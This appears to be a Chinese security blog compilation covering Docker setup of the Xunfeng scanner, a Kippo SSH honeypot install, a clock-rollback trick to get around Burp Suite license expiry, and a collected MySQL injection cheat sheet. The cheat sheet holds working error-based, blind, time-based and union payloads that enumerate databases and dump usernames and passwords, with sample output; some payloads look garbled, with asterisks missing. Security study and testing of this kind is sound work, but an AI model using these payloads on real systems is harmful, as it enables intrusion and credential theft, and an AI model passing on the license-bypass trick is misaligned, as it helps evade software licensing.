docker版巡风WEB漏洞扫描平台

巡风,是同程SRC前几天刚开源的,搞了下,还挺不错的,适合甲方扫内网,也适合乙方漏扫
下午写了docker的搭建,现在说下巡风的搭建(mac不建议搭建,mac版的docker有点问题,windows下和linux都可以)
docker pull ysrc/xunfeng //拉取巡风镜像在本地,需要一段时间
docker run -d -p 80:80 ysrc/xunfeng:latest //运行镜像映射到80端口
访问IP即可访问,默认账号 admin xunfeng321
里面需要改的地方
xunfeng
masscan的路径,/root/改成/opt/ 并启动,上面蓝色按钮,线程我这里改成5000,可自行改,太大会把内网扫挂
xunfeng1
周期1|16,意思就是每天点16点开始扫描,每两天的16点扫描同理就是2|16(可date下,看下时间是否为北京时间,有的服务器时间是不准的)
下面的资产列表自行添加,可以C段,B段,具体IP范围,然后等着就开始扫描

docker的安装及常用命令

centos版的
yum update //升级yum

tee /etc/yum.repos.d/docker.repo <<-'EOF'
[dockerrepo]
name=Docker Repository
baseurl=https://yum.dockerproject.org/repo/main/centos/$releasever/
enabled=1
gpgcheck=1
gpgkey=https://yum.dockerproject.org/gpg
EOF  //添加yum仓库,代码整串复制粘贴

sudo yum install docker-engine //安装docker
service docker start //docker启动


以上是docker的安装,接下来说下常用命令
docker run -d -p 80:80 ysrc/xunfeng:latest //运行某docker容器,端口映射到本地80端口
docker ps -a //查看运行
docker exec -it XXX /bin/bash //ps -a的ID,为XXX,进入某ID容器
docker stop $(docker ps -a -q)//暂停所有容器
docker rm $(docker ps -a -q) //删除所有容器
docker start XXX //启动某ID容器
docker restart XXX //重启某ID容器
docker images //查看镜像文件

linux下搭建蜜罐

**00X0** 什么是蜜罐?
我的理解是蜜罐是用来收集信息的,比如攻击的playload,木马之类的。蜜罐好像是故意让人攻击的目标,引诱黑客前来攻击。所以攻击者入侵后,你就可以知道他是如何得逞的,随时了解针对服务器发动的最新的攻击和漏洞。还可以通过窃听黑客之间的联系,收集黑客所用的种种工具,并且掌握他们的社交网络。
**00X1** 如何搭建linux蜜罐
这边搭建,用的是centos6.5 64位系统
首先
/etc/ssh/sshd_config //修改Port端口号,比如1234等,可自定义,这是正确的ssh登录的端口,不是蜜罐的端口
然后service sshd restart //重启ssh
iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222 //监听2222端口,并把22端口转发到2222端口
sudo apt-get install python-twisted //安装需要的环境
sudo adduser yiwang //新建一个普通用户,因为kippo不能在root账号下运行
su yiwang //切到yiwang用户下
wget http://www.yiwang6.cn/kippo-master.zip //下载kippo
unzip kippo-mastar.zip //解压
cd kippo-master //进入kippo目录
cp kippo.cfg.dist kippo.cfg
cd data //vi userdb.txt 编辑可成功登录的账号密码
进入到kippo目录下
./start.sh //开始运行蜜罐系统
**00X2** 如果22不能登录,服务器重启一下, 重新运行蜜罐系统即可

关于burp的license过期

一觉醒来,大家是不是发现burp都不能使用了,提示要输入license
不要慌,稳住,把电脑时间改成之前的,都可以继续打开1.png

mysql注入收集˚

Mysql注入方式

发现网上都很多就收集了一下.
代码审计学习记录

0x00-报错注入

mysql报错注入,我们有时候会遇到没有正常数据回显的注入.这时候就需要报错注入来获得我们需要的数据.

我们经常用到的有floor(),updatexml(),extractvalue()通过查找资料发现还有一些函数.
由于这三个比较通用,也就是在大部分mysql版本中都有,其他的有些可能在低版本里没有.

floor()

语句:and (select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

mysql> select 1 and (select 1 from (select count(),concat(version(),floor(rand
(0)
2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.5.401' for key 'group_key'

updatexml()
语句:and (updatexml(1,concat(0x3a,(select user())),1));

mysql> select 1 and (updatexml(1,concat(0x3a,(select user())),1));
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

ExtractValue()
和upadtexml()用法差不多
语句:and extractvalue(1, concat(0x5c, (select user())));

mysql> select 1 and extractvalue(1, concat(0x5c, (select user())));
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'

GeometryCollection() version > MySQL4.1
MultiPoint()
Polygon()
LineString()
MultiPolygon()
MultiPoint()
MultiLineString()
这几个是mysql在4.1版本之后引入的一系列空间扩展,使其具备了一定的空间处理能力.
语句都一样就列举了一个例子.
语句:AND GeometryCollection((select * from(select * from(select user())a)b));

mysql> select 1 AND GeometryCollection((select * from(select * from(select user(
))a)b));
ERROR 1367 (22007): Illegal non geometric '(select b.user() from (select 'ro
ot@localhost' AS user() from dual) b)' value found during parsing

0x01-盲注
盲注分为两种
一种是普通盲注,一种是基于时间又叫延时注入.
通过一些处理函数将我们需要获取的数据通过猜解的方式得到的方式.
查询数据库AND ascii(substring((select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1),1,1))=ascii码
查询用户长度 And (select length(user()))=12;
查询数据库and ascii(substr(database(),位数,1))=ascii;
查询用户and 1=(if(ascii(mid(user()from(位数)for(1)))=查询位数字符的ascii编码,1,0));
时间盲注
其实就是普通盲注加上了if判断
and if(ascii(mid(user()from(位数)for(1)))=ascii码,sleep(3),0)
and 1=if(ascii(mid((select user())from(1)for(1)))=114,sleep(3),0);
and 1=(select case when (ascii(mid(user()from(位数)for(1)))=ascii码) then benchmark(5*4000000,md5(1111)) else 0 end)=1
and 1=if(length(user())=长度,sleep(3),0);
aaa'XOR(if(ascii(mid(user()from(位数)for(1)))=查询位数字符的ascii编码,sleep(3),0))OR'bbb
and sleep(1-abs(sign(ascii(mid(lower(user())from(位数)for(1)))-ascii码)))
没有等于符号
每次取一个字符的ascii码,与列表中的ascii码逐一对比,取符号的绝对值。
如果相等,则符号是0,绝对值是0,会延迟。
若不等,则符号是1或-1,绝对值为1,不延迟。
然后我们可以通过py脚本来快速得到数据.

0x02-常用mysql注入语句

查询数据库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
system_user() 系统用户名
user() 用户名
current_user当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003
判断是否具有读写权限
and (select count() from mysql.user)>0/
and (select count(file_priv) from mysql.user)>0/*